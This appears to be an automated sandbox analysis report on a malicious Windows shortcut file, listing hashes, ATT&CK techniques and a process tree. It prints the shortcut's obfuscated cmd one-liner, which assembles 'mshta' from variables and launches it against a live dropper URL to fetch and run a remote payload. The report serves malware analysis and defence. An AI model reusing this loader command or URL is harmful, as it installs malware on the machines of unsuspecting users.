80d3e21ac437202d9548ca2fdd6ad295decbe77d52e5e02dd5952f19ca7b5e01

Analysis

max time kernel
148s
max time network
146s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:35

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General

Target
DOC-U3MCIW.lnk
Size 1KB
Sample260804-khb4yswakb
SHA256 80d3e21ac437202d9548ca2fdd6ad295decbe77d52e5e02dd5952f19ca7b5e01
MD5 fed8592ec2f3b201bd9653262a43d3f1
SHA1 9b9644b0cb35a3a697277cd1601e8bacf93a2d32
SHA512 d5cd045f9add5a12b8d35ecb20b31a7f34033fbe19c2f9da974b8bdd54371fbeaaa7a2846178e2ccc714637970ff3cff9902bb141915e90760aa3a189ed6afec
TLSH
T1FF3197503FEC0624F3F38E73A4BB572085BBB86A8D24CA2E0141464C5432A15E17BF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6128	cmd.exe
4552	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 6128 wrote to memory of 4552	6128	cmd.exe	90
PID 4552 wrote to memory of 5984	4552	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-U3MCIW.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6128
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set hu=msh&&set jbLdp=ta&&start "" !hu!!jbLdp! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4552
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:5984

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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